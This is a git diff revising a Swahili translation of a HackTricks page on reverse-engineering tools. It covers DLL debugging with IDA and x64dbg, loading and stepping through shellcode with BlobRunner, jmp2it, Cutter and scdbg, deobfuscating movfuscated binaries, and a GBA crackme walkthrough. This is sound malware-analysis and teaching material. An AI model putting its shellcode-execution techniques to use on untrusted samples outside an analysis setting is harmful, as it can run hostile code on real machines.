![](<../../.gitbook/assets/image (284).png>)
|
![](<../../.gitbook/assets/image (284).png>)
|
||||||
|
|
||||||
Bonyeza kulia moduli yoyote katika **Assembly Explorer** na bonyeza **Sort Assemblies**:
|
Bonyeza kulia moduli yoyote kwenye **Mtafuta wa Moduli** na bonyeza **Panga Moduli**:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (285).png>)
|
![](<../../.gitbook/assets/image (285).png>)
|
||||||
|
|
||||||
|
@ -123,13 +131,13 @@ Bonyeza kulia moduli yoyote katika **Assembly Explorer** na bonyeza **Sort Assem
|
||||||
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
|
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
|
||||||
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
|
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
|
||||||
|
|
||||||
## Debugging DLLs
|
## Kudebugi DLLs
|
||||||
|
|
||||||
### Kutumia IDA
|
### Kutumia IDA
|
||||||
|
|
||||||
* **Pakia rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
* **Pakia rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
||||||
* Chagua kidebuga cha **Windbg**
|
* Chagua kudebugi ya **Windbg**
|
||||||
* Chagua "**Suspend on library load/unload**"
|
* Chagua "**Sitishe wakati wa kupakia/kusitisha maktaba**"
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (135).png>)
|
![](<../../.gitbook/assets/image (135).png>)
|
||||||
|
|
||||||
|
@ -144,15 +152,15 @@ Lakini, unawezaje kufikia namna ya kificho cha DLL iliyopakiwa? Kutumia njia hii
|
||||||
### Kutumia x64dbg/x32dbg
|
### Kutumia x64dbg/x32dbg
|
||||||
|
|
||||||
* **Pakia rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
* **Pakia rundll32** (64bits katika C:\Windows\System32\rundll32.exe na 32 bits katika C:\Windows\SysWOW64\rundll32.exe)
|
||||||
* **Badilisha Mstari wa Amri** ( _File --> Badilisha Mstari wa Amri_ ) na weka njia ya dll na kazi unayotaka kuita, kwa mfano: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
* **Badilisha Mstari wa Amri** ( _Faili --> Badilisha Mstari wa Amri_ ) na weka njia ya dll na kazi unayotaka kuita, kwa mfano: "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||||
* Badilisha _Options --> Settings_ na chagua "**DLL Entry**".
|
* Badilisha _Chaguo --> Vipimo_ na chagua "**Kuingia kwa DLL**".
|
||||||
* Kisha **anza utekelezaji**, kidebuga kitasimama kila dll main, kwa wakati fulani utasimama katika **dll Entry ya dll yako**. Kutoka hapo, tafuta sehemu unayotaka kuweka kiungo cha kusimamisha.
|
* Kisha **anza utekelezaji**, kudebugi itasimama kwa kila kuingia kwa dll, kwa wakati fulani utasimama kwenye kuingia kwa dll ya dll yako. Kutoka hapo, tafuta tu sehemu unayotaka kuweka kiungo cha kusimamisha.
|
||||||
|
|
||||||
Tambua kwamba unapokuwa umesimamishwa kwa sababu yoyote katika win64dbg unaweza kuona **kificho unachotazama** katika **juu ya dirisha la win64dbg**:
|
Tambua kwamba unapokuwa umesimamishwa kwa sababu yoyote katika win64dbg unaweza kuona **kificho unachotazama** juu ya dirisha la win64dbg:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (137).png>)
|
![](<../../.gitbook/assets/image (137).png>)
|
||||||
|
|
||||||
Kisha, ukitazama hii unaweza kuona wakati utekelezaji uliposimamishwa katika dll unayotaka kudebugi.
|
Kisha, ukitazama hii unaweza kuona wakati utekelezaji uliposimamishwa kwenye dll unayotaka kudebugi.
|
||||||
|
|
||||||
## Programu za GUI / Michezo ya Video
|
## Programu za GUI / Michezo ya Video
|
||||||
|
|
||||||
|
@ -170,11 +178,11 @@ Kisha, ukitazama hii unaweza kuona wakati utekelezaji uliposimamishwa katika dll
|
||||||
|
|
||||||
### Kudebugi shellcode na blobrunner
|
### Kudebugi shellcode na blobrunner
|
||||||
|
|
||||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, itakuonyesha **anwani ya kumbukumbu** ambapo shellcode ilipangiwa na itasimamisha utekelezaji.\
|
[**Blobrunner**](https://github.com/OALabs/BlobRunner) ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, itaku **onyesha** anwani ya **kumbukumbu** ambapo shellcode ilipangiwa na itasimamisha utekelezaji.\
|
||||||
Kisha, unahitaji **kujiunga na kidebuga** (Ida au x64dbg) kwenye mchakato na weka **kiungo cha kusimamisha kwenye anwani ya kumbukumbu iliyotajwa** na **anza tena** utekelezaji. Hivi ndivyo utakavyokuwa unadebugi shellcode.
|
Kisha, unahitaji **kuambatanisha kudebugi** (Ida au x64dbg) kwa mchakato na weka **kiungo cha kusimamisha kwenye anwani ya kumbukumbu iliyopendekezwa** na **rejesha** utekelezaji. Hivi ndivyo utakavyokuwa unadebugi shellcode.
|
||||||
|
|
||||||
Ukurasa wa kutolewa kwenye github una zip zinazojumuisha kutolewa kwa kisasa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
Ukurasa wa kutolewa kwenye github una zip zinazojumuisha kutolewa kwa kisasa: [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||||
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kifuatacho. Ili kulipakua tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike kificho na ujenge**.
|
Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kifuatacho. Ili kuikusanya tu **unda mradi wa C/C++ katika Visual Studio Code, nakili na ubandike kificho na uijenge**.
|
||||||
|
|
||||||
{% content-ref url="blobrunner.md" %}
|
{% content-ref url="blobrunner.md" %}
|
||||||
[blobrunner.md](blobrunner.md)
|
[blobrunner.md](blobrunner.md)
|
||||||
|
@ -182,17 +190,17 @@ Unaweza kupata toleo lililobadilishwa kidogo la Blobrunner kwenye kiungo kifuata
|
||||||
|
|
||||||
### Kudebugi shellcode na jmp2it
|
### Kudebugi shellcode na jmp2it
|
||||||
|
|
||||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)ni sawa sana na blobrunner. Ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, na anza **mzunguko wa milele**. Kisha unahitaji **kujiunga na kidebuga** kwenye mchakato, **anza kucheza subiri sekunde 2-5 na bonyeza kusimamisha** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye maagizo ijayo ya mzunguko wa milele kwani itakuwa wito kwa shellcode, na mwishowe utajikuta unatekeleza shellcode.
|
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)ni sawa sana na blobrunner. Ita **tenga** **shellcode** ndani ya nafasi ya kumbukumbu, na anza **mzunguko wa milele**. Kisha unahitaji **kuambatanisha kudebugi** kwa mchakato, **anza, subiri sekunde 2-5 na bonyeza kusimamisha** na utajikuta ndani ya **mzunguko wa milele**. Ruka kwenye maagizo ijayo ya mzunguko wa milele kwani itakuwa wito kwa shellcode, na hatimaye utajikuta unatekeleza shellcode.
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (397).png>)
|
![](<../../.gitbook/assets/image (397).png>)
|
||||||
|
|
||||||
Unaweza kupakua toleo lililobadilishwa la [jmp2it kwenye ukurasa wa kutolewa](https://github.com/adamkramer/jmp2it/releases/).
|
Unaweza kupakua toleo lililokusanywa la [jmp2it kwenye ukurasa wa kutolewa](https://github.com/adamkramer/jmp2it/releases/).
|
||||||
|
|
||||||
### Kudebugi shellcode kutumia Cutter
|
### Kudebugi shellcode kwa kutumia Cutter
|
||||||
|
|
||||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) ni GUI ya radare. Kutumia cutter unaweza kuiga shellcode na kuichunguza kwa njia ya kudumu.
|
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) ni GUI ya radare. Kutumia cutter unaweza kuiga shellcode na kuichunguza kwa njia ya kudumu.
|
||||||
|
|
||||||
Tambua kwamba Cutter inakuruhusu "Fungua Faili" na "Fungua Shellcode". Kwa upande wangu nilipoifungua shellcode kama faili ilikuwa imefanyiwa tafsiri sawasawa, lakini nilipoifungua kama shellcode haikufanya hivyo:
|
Tambua kwamba Cutter inakuruhusu "Fungua Faili" na "Fungua Shellcode". Kwa upande wangu nilipoifungua shellcode kama faili ilikuwa imefanyiwa decompile kwa usahihi, lakini nilipoifungua kama shellcode haikuwa hivyo:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (400).png>)
|
![](<../../.gitbook/assets/image (400).png>)
|
||||||
|
|
||||||
|
@ -202,14 +210,14 @@ Ili kuanza uigaji katika mahali unapotaka, weka bp hapo na kwa mujibu wa cutter
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (401).png>)
|
![](<../../.gitbook/assets/image (401).png>)
|
||||||
|
|
||||||
Unaweza kuona rundo kwa mfano ndani ya dumpu ya hex:
|
Unaweza kuona stakiti kwa mfano ndani ya kumbukumbu ya hex:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (402).png>)
|
![](<../../.gitbook/assets/image (402).png>)
|
||||||
|
|
||||||
### Kufuta obfuscating shellcode na kupata kazi zilizotekelezwa
|
### Kufuta Obfuscating shellcode na kupata kazi zilizotekelezwa
|
||||||
|
|
||||||
Unapaswa kujaribu [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
|
Unapaswa kujaribu [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
|
||||||
Itakwambia mambo kama **kazi zipi** shellcode inatumia na ikiwa shellcode inajichimbua yenyewe kwenye kumbukumbu.
|
Itakwambia mambo kama **kazi zipi** shellcode inatumia na ikiwa shellcode inajichakaza yenyewe kwenye kumbukumbu.
|
||||||
```bash
|
```bash
|
||||||
scdbg.exe -f shellcode # Get info
|
scdbg.exe -f shellcode # Get info
|
||||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||||
|
@ -218,31 +226,31 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
|
||||||
scdbg.exe -f shellcode /findsc #Find offset where starts
|
scdbg.exe -f shellcode /findsc #Find offset where starts
|
||||||
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
|
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
|
||||||
```
|
```
|
||||||
scDbg pia ina launcher ya kielelezo ambapo unaweza kuchagua chaguo unalotaka na kutekeleza shellcode
|
scDbg pia inaendelea na mtumiaji wa picha ambapo unaweza kuchagua chaguo unazotaka na kutekeleza shellcode
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (398).png>)
|
![](<../../.gitbook/assets/image (398).png>)
|
||||||
|
|
||||||
Chaguo la **Unda Dump** litadump shellcode ya mwisho ikiwa kuna mabadiliko yoyote yanayofanywa kwa shellcode kwa njia ya kumbukumbu (inayoweza kutumiwa kupakua shellcode iliyofanywa). **Kianzio cha kuanza** kinaweza kuwa muhimu kuanza shellcode kwenye kianzio maalum. Chaguo la **Kianzio cha Kufuatilia** ni muhimu kufuatilia shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninaona chaguo lolote lililoelezwa hapo awali ni bora kwa jambo hili kwani utaweza kutumia Ida au x64dbg).
|
Chaguo la **Unda Dump** litadump shellcode ya mwisho ikiwa kuna mabadiliko yoyote yanayofanywa kwa shellcode kwa njia ya kumbukumbu (inayoweza kutumika kupakua shellcode iliyofanywa). **Offset ya kuanza** inaweza kuwa muhimu kuanza shellcode kwenye offset maalum. Chaguo la **Kuweka Kitanzi** ni muhimu kwa kudebug shellcode kwa kutumia terminal ya scDbg (hata hivyo, ninaona chaguo lolote lililoelezwa hapo awali ni bora kwa suala hili kwani utaweza kutumia Ida au x64dbg).
|
||||||
|
|
||||||
### Kufasiri kwa Kutumia CyberChef
|
### Kufasiri kwa Kutumia CyberChef
|
||||||
|
|
||||||
Pakia faili yako ya shellcode kama kuingiza na tumia mapishi yafuatayo kudecompile: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
Pakia faili yako ya shellcode kama kuingiza na tumia mapishi yafuatayo kuidisassemble: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||||
|
|
||||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||||
|
|
||||||
Obfuscator huyu **hubadilisha maagizo yote ya `mov`** (ndio, kweli ni mzuri sana). Pia hutumia kuvuruga kubadilisha mifumo ya utekelezaji. Kwa maelezo zaidi kuhusu jinsi inavyofanya kazi:
|
Obfuscator huyu **hubadilisha maagizo yote kwa `mov`**(ndio, kweli ni mzuri sana). Pia hutumia kuvuruga kubadilisha mifumo ya utekelezaji. Kwa maelezo zaidi kuhusu jinsi inavyofanya kazi:
|
||||||
|
|
||||||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||||
|
|
||||||
Ikiwa una bahati [demovfuscator](https://github.com/kirschju/demovfuscator) itaondoa ufusaji wa binary. Ina mahitaji kadhaa
|
Ikiwa una bahati [demovfuscator](https://github.com/kirschju/demovfuscator) itaondoa ufusaji wa binary. Ina tegemezi kadhaa
|
||||||
```
|
```
|
||||||
apt-get install libcapstone-dev
|
apt-get install libcapstone-dev
|
||||||
apt-get install libz3-dev
|
apt-get install libz3-dev
|
||||||
```
|
```
|
||||||
Na [sakinisha keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
Na [sakinisha keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||||
|
|
||||||
Ikiwa unacheza **CTF, njia hii ya kupata bendera** inaweza kuwa muhimu sana: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
Ikiwa unacheza **CTF, njia hii ya kupata bendera** inaweza kuwa na manufaa sana: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||||
|
|
||||||
## Rust
|
## Rust
|
||||||
|
|
||||||
|
@ -251,31 +259,31 @@ Ili kupata **sehemu ya kuingia**, tafuta kazi kwa `::main` kama hivi:
|
||||||
![](<../../.gitbook/assets/image (612).png>)
|
![](<../../.gitbook/assets/image (612).png>)
|
||||||
|
|
||||||
Katika kesi hii binary ilikuwa inaitwa authenticator, hivyo ni wazi kuwa hii ni kazi kuu inayovutia.\
|
Katika kesi hii binary ilikuwa inaitwa authenticator, hivyo ni wazi kuwa hii ni kazi kuu inayovutia.\
|
||||||
Ukiwa na **jina** la **kazi** zinazoitwa, tafuta kuhusu hizo kwenye **Mtandao** ili kujifunza kuhusu **vipimo** vyao na **matokeo** yao.
|
Ukiwa na **jina** la **kazi** zinazoitwa, tafuta kuhusu **vifaa** vyao na **matokeo** kwenye **Intaneti**.
|
||||||
|
|
||||||
## **Delphi**
|
## **Delphi**
|
||||||
|
|
||||||
Kwa binaries zilizokompiliwa kwa Delphi unaweza kutumia [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
Kwa binaries zilizokompiliwa kwa Delphi unaweza kutumia [https://github.com/crypto2011/IDR](https://github.com/crypto2011/IDR)
|
||||||
|
|
||||||
Ikiwa unahitaji kubadilisha binary ya Delphi ningependekeza utumie programu-jalizi ya IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
Ikiwa unahitaji kubadilisha nyuma binary ya Delphi ningependekeza utumie programu-jalizi ya IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||||
|
|
||||||
Bonyeza **ATL+f7** (ingiza programu-jalizi ya python kwenye IDA) na chagua programu-jalizi ya python.
|
Bonyeza **ATL+f7** (ingiza programu-jalizi ya python kwenye IDA) na chagua programu-jalizi ya python.
|
||||||
|
|
||||||
Programu-jalizi hii itatekeleza binary na kutatua majina ya kazi kwa njia ya moja kwa moja mwanzoni mwa uchunguzi. Baada ya kuanza uchunguzi bonyeza tena kitufe cha Kuanza (kijani au f9) na kuvunja itagonga mwanzoni mwa nambari halisi.
|
Programu-jalizi hii itatekeleza binary na kutatua majina ya kazi kwa njia ya moja kwa moja mwanzoni mwa uchunguzi. Baada ya kuanza uchunguzi bonyeza tena kitufe cha Kuanza (kijani au f9) na kuvunja itagonga mwanzoni mwa msimbo halisi.
|
||||||
|
|
||||||
Pia ni ya kuvutia sana kwa sababu ikiwa bonyeza kitufe katika programu ya kielelezo, mchunguzi utasimama kwenye kazi inayotekelezwa na kitufe hicho.
|
Pia ni ya kuvutia sana kwa sababu ikiwa bonyeza kitufe katika programu ya kielelezo cha picha, mchunguzi utasimama kwenye kazi inayotekelezwa na kitufe hicho.
|
||||||
|
|
||||||
## Golang
|
## Golang
|
||||||
|
|
||||||
Ikiwa unahitaji kubadilisha binary ya Golang ningependekeza utumie programu-jalizi ya IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
Ikiwa unahitaji kubadilisha nyuma binary ya Golang ningependekeza utumie programu-jalizi ya IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||||
|
|
||||||
Bonyeza **ATL+f7** (ingiza programu-jalizi ya python kwenye IDA) na chagua programu-jalizi ya python.
|
Bonyeza **ATL+f7** (ingiza programu-jalizi ya python kwenye IDA) na chagua programu-jalizi ya python.
|
||||||
|
|
||||||
Hii itatatua majina ya kazi.
|
Hii itatatua majina ya kazi.
|
||||||
|
|
||||||
## Python Iliyokompiliwa
|
## Python iliyokompiliwa
|
||||||
|
|
||||||
Kwenye ukurasa huu unaweza kupata jinsi ya kupata nambari ya python kutoka kwa binary iliyokompiliwa ya ELF/EXE python:
|
Kwenye ukurasa huu unaweza kupata jinsi ya kupata msimbo wa python kutoka kwa binary iliyokompiliwa ya ELF/EXE python:
|
||||||
|
|
||||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||||
|
@ -283,18 +291,18 @@ Kwenye ukurasa huu unaweza kupata jinsi ya kupata nambari ya python kutoka kwa b
|
||||||
|
|
||||||
## GBA - Game Body Advance
|
## GBA - Game Body Advance
|
||||||
|
|
||||||
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti kwa **kuiga** na **kutatua hitilafu**:
|
Ikiwa unapata **binary** ya mchezo wa GBA unaweza kutumia zana tofauti kwa **kuiga** na **kudebugi**:
|
||||||
|
|
||||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la kurekebisha hitilafu_) - Ina mchunguzi na kiolesura
|
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Pakua toleo la kudebugi_) - Ina kudebugi na kiolesura
|
||||||
* [**mgba** ](https://mgba.io)- Ina mchunguzi wa CLI
|
* [**mgba** ](https://mgba.io)- Ina kudebugi ya CLI
|
||||||
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Programu-jalizi ya Ghidra
|
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Programu-jalizi ya Ghidra
|
||||||
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Programu-jalizi ya Ghidra
|
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Programu-jalizi ya Ghidra
|
||||||
|
|
||||||
Katika [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguo --> Kuiga Setup --> Vidhibiti**_\*\* \*\* unaweza kuona jinsi ya kubonyeza vitufe vya Game Boy Advance
|
Kwenye [**no$gba**](https://problemkaputt.de/gba.htm), katika _**Chaguo --> Usanidi wa Kuiga --> Vidhibiti**_\*\* \*\* unaweza kuona jinsi ya kubonyeza vitufe vya Game Boy Advance
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (578).png>)
|
![](<../../.gitbook/assets/image (578).png>)
|
||||||
|
|
||||||
Vinapobonyezwa, kila **kitufe kina thamani** ya kuwatambua:
|
Vinapobonyezwa, kila **kitufe kina thamani** ya kukiwakilisha:
|
||||||
```
|
```
|
||||||
A = 1
|
A = 1
|
||||||
B = 2
|
B = 2
|
||||||
|
@ -311,7 +319,7 @@ Kwa hivyo, katika aina hii ya programu, sehemu ya kuvutia itakuwa **jinsi progra
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (579).png>)
|
![](<../../.gitbook/assets/image (579).png>)
|
||||||
|
|
||||||
Katika picha iliyotangulia unaweza kuona kwamba kazi inaitwa kutoka **FUN\_080015a8** (anwani: _0x080015fa_ na _0x080017ac_).
|
Katika picha iliyotangulia unaweza kuona kuwa kazi hiyo inaitwa kutoka **FUN\_080015a8** (anwani: _0x080015fa_ na _0x080017ac_).
|
||||||
|
|
||||||
Katika kazi hiyo, baada ya operesheni za awali (bila umuhimu wowote):
|
Katika kazi hiyo, baada ya operesheni za awali (bila umuhimu wowote):
|
||||||
```c
|
```c
|
||||||
|
@ -334,7 +342,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
|
||||||
FUN_08000354(&DAT_030000dc,0x3c);
|
FUN_08000354(&DAT_030000dc,0x3c);
|
||||||
uVar4 = DAT_030004d8;
|
uVar4 = DAT_030004d8;
|
||||||
```
|
```
|
||||||
Imepatikana hii code:
|
Imepatikana msimbo huu:
|
||||||
```c
|
```c
|
||||||
do {
|
do {
|
||||||
DAT_030004da = uVar4; //This is the last key pressed
|
DAT_030004da = uVar4; //This is the last key pressed
|
||||||
|
@ -346,7 +354,7 @@ uVar2 = DAT_030004dc;
|
||||||
uVar1 = *puVar6;
|
uVar1 = *puVar6;
|
||||||
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
||||||
```
|
```
|
||||||
Ikiwa **`uVar4`** iko kwenye **Keys za mwisho** na sio katika ufunguo wa sasa, huitwa kuachilia kitufe (ufunguo wa sasa umehifadhiwa katika **`uVar1`**).
|
Ikiwa **`uVar4`** iko kwenye **Keys za mwisho** na sio katika ufunguo wa sasa, hii inaitwa kuachilia kitufe (ufunguo wa sasa umehifadhiwa katika **`uVar1`**).
|
||||||
```c
|
```c
|
||||||
if (uVar1 == 4) {
|
if (uVar1 == 4) {
|
||||||
DAT_030000d4 = 0;
|
DAT_030000d4 = 0;
|
||||||
|
@ -382,7 +390,7 @@ Katika msimbo uliopita unaweza kuona kwamba tunalinganisha **uVar1** (mahali amb
|
||||||
* Katika kesi nyingine yoyote, baadhi ya cont (`DAT_030000d4`) inachunguzwa. Ni cont kwa sababu inaongeza 1 mara tu baada ya kuingia katika msimbo.\
|
* Katika kesi nyingine yoyote, baadhi ya cont (`DAT_030000d4`) inachunguzwa. Ni cont kwa sababu inaongeza 1 mara tu baada ya kuingia katika msimbo.\
|
||||||
Ikiwa ni chini ya 8 kitu kinachohusisha **kuongeza** thamani kwa \*\*`DAT_030000d8` \*\* kinachofanywa (kimsingi inaongeza thamani za vitufe vilivyobonyezwa katika hii variable muda mrefu kama cont iko chini ya 8).
|
Ikiwa ni chini ya 8 kitu kinachohusisha **kuongeza** thamani kwa \*\*`DAT_030000d8` \*\* kinachofanywa (kimsingi inaongeza thamani za vitufe vilivyobonyezwa katika hii variable muda mrefu kama cont iko chini ya 8).
|
||||||
|
|
||||||
Hivyo, katika changamoto hii, ukiwa na ufahamu wa thamani za vitufe, ulihitaji **kubonyeza mchanganyiko wenye urefu mdogo kuliko 8 ambao matokeo ya kuongeza ni 0xf3.**
|
Hivyo, katika changamoto hii, kwa kujua thamani za vitufe, ulihitaji **kubonyeza mchanganyiko wenye urefu mdogo kuliko 8 ambao matokeo ya kuongeza ni 0xf3.**
|
||||||
|
|
||||||
**Kumbukumbu kwa mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
**Kumbukumbu kwa mafunzo haya:** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||||
|
|
||||||
|
@ -393,11 +401,17 @@ Hivyo, katika changamoto hii, ukiwa na ufahamu wa thamani za vitufe, ulihitaji *
|
||||||
## Kozi
|
## Kozi
|
||||||
|
|
||||||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Ufichuaji wa Binary)
|
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Ufumbuzi wa binary)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
|
|
@ -2,19 +2,27 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
